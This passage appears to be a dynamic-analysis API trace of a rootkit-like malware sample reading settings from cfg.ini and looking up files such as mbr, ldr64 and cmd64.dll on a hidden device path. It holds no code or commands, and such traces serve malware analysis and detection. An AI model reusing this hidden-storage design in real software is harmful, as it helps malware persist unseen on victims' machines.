_MaxCount=0x10) returned -108 [0118.617] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.617] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.617] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.617] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.617] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.618] KeLeaveCriticalRegion () [0118.618] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.618] ReleaseMutex (hMutex=0x100) returned 1 [0118.618] Sleep (dwMilliseconds=0x2bf20) [0118.624] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x69e66f50, dwHighDateTime=0x1d24fa4)) [0118.625] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0118.625] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.625] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.625] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.625] KeEnterCriticalRegion () [0118.625] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.625] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.625] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.625] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.625] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.625] IdePortDispatch () returned 0x103 [0118.625] KeWaitForMutexObject () returned 0x0 [0118.625] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.625] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.625] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.625] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.625] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.625] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80071ffef0 [0118.625] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.625] KeLeaveCriticalRegion () [0118.625] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.625] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.625] KeEnterCriticalRegion () [0118.625] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.625] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.625] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.625] KeLeaveCriticalRegion () [0118.625] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.625] KeEnterCriticalRegion () [0118.625] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.625] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.625] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.625] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.625] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.625] IdePortDispatch () returned 0x103 [0118.625] KeWaitForMutexObject () returned 0x0 [0118.626] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.626] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.626] KeLeaveCriticalRegion () [0118.626] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.626] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.626] KeEnterCriticalRegion () [0118.626] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.626] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003522000 [0118.626] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.626] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.626] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.626] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.626] IdePortDispatch () returned 0x103 [0118.626] KeWaitForMutexObject () returned 0x0 [0118.626] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.626] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.626] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.626] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.626] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.626] IdePortDispatch () returned 0x103 [0118.626] KeWaitForMutexObject () returned 0x0 [0118.626] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.626] KeLeaveCriticalRegion () [0118.626] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.627] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.627] KeEnterCriticalRegion () [0118.627] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.627] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.627] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.627] KeLeaveCriticalRegion () [0118.627] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.627] KeEnterCriticalRegion () [0118.627] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.627] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.627] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003aa7370, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.627] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.627] KeLeaveCriticalRegion () [0118.627] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.627] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.627] KeEnterCriticalRegion () [0118.627] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.627] ExFreePoolWithTag (P=0xfffffa80071ffef0, Tag=0x0) [0118.627] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.627] KeLeaveCriticalRegion () [0118.627] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.627] ReleaseMutex (hMutex=0xf0) returned 1 [0118.627] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.627] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.627] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.628] KeEnterCriticalRegion () [0118.628] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.628] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.628] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.628] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.628] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.628] IdePortDispatch () returned 0x103 [0118.628] KeWaitForMutexObject () returned 0x0 [0118.628] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.628] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.628] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.628] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.628] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.628] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039c5e10 [0118.628] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.628] KeLeaveCriticalRegion () [0118.628] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.628] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.628] KeEnterCriticalRegion () [0118.628] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.628] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.628] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.628] KeLeaveCriticalRegion () [0118.628] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.628] KeEnterCriticalRegion () [0118.628] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.628] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.628] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.628] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.628] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.628] IdePortDispatch () returned 0x103 [0118.628] KeWaitForMutexObject () returned 0x0 [0118.629] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.629] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.629] KeLeaveCriticalRegion () [0118.629] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.629] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.629] KeEnterCriticalRegion () [0118.629] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.629] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003523000 [0118.629] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.629] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.629] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.629] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.629] IdePortDispatch () returned 0x103 [0118.629] KeWaitForMutexObject () returned 0x0 [0118.629] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.629] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.629] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.629] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.629] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.629] IdePortDispatch () returned 0x103 [0118.629] KeWaitForMutexObject () returned 0x0 [0118.629] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.629] KeLeaveCriticalRegion () [0118.629] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.630] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.630] KeEnterCriticalRegion () [0118.630] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.630] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.630] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.630] KeLeaveCriticalRegion () [0118.631] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.631] KeEnterCriticalRegion () [0118.631] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.631] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.631] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039c5ed0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.631] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.631] KeLeaveCriticalRegion () [0118.631] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.631] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.631] KeEnterCriticalRegion () [0118.631] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.631] ExFreePoolWithTag (P=0xfffffa80039c5e10, Tag=0x0) [0118.631] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.631] KeLeaveCriticalRegion () [0118.631] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.631] ReleaseMutex (hMutex=0xf0) returned 1 [0118.631] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.631] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0118.631] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.631] KeEnterCriticalRegion () [0118.631] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.631] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.631] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.631] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.631] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.631] IdePortDispatch () returned 0x103 [0118.631] KeWaitForMutexObject () returned 0x0 [0118.631] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.631] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.631] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.631] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.631] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.631] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003adba20 [0118.631] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.631] KeLeaveCriticalRegion () [0118.631] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.632] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.632] KeEnterCriticalRegion () [0118.632] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.632] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.632] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.632] KeLeaveCriticalRegion () [0118.632] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.632] KeEnterCriticalRegion () [0118.632] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.632] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.632] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.632] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.632] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.632] IdePortDispatch () returned 0x103 [0118.632] KeWaitForMutexObject () returned 0x0 [0118.632] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.632] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.632] KeLeaveCriticalRegion () [0118.632] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.632] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.632] KeEnterCriticalRegion () [0118.632] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.632] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003524000 [0118.632] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.632] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.632] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.632] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.632] IdePortDispatch () returned 0x103 [0118.632] KeWaitForMutexObject () returned 0x0 [0118.633] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.633] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.633] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.633] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.633] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.633] IdePortDispatch () returned 0x103 [0118.633] KeWaitForMutexObject () returned 0x0 [0118.633] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.633] KeLeaveCriticalRegion () [0118.633] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.633] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.633] KeEnterCriticalRegion () [0118.633] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.633] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.633] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.633] KeLeaveCriticalRegion () [0118.633] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.633] KeEnterCriticalRegion () [0118.633] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.634] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.634] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003649ad0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.634] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.634] KeLeaveCriticalRegion () [0118.634] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.634] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.634] KeEnterCriticalRegion () [0118.634] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.634] ExFreePoolWithTag (P=0xfffffa8003adba20, Tag=0x0) [0118.634] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.634] KeLeaveCriticalRegion () [0118.634] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.634] ReleaseMutex (hMutex=0xf0) returned 1 [0118.634] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0118.634] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0118.634] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0118.634] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0118.634] KeEnterCriticalRegion () [0118.634] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.634] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.634] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.634] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.634] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.634] IdePortDispatch () returned 0x103 [0118.634] KeWaitForMutexObject () returned 0x0 [0118.634] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.634] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0118.634] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.634] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.634] _strnicmp (_Str1="ldr64", 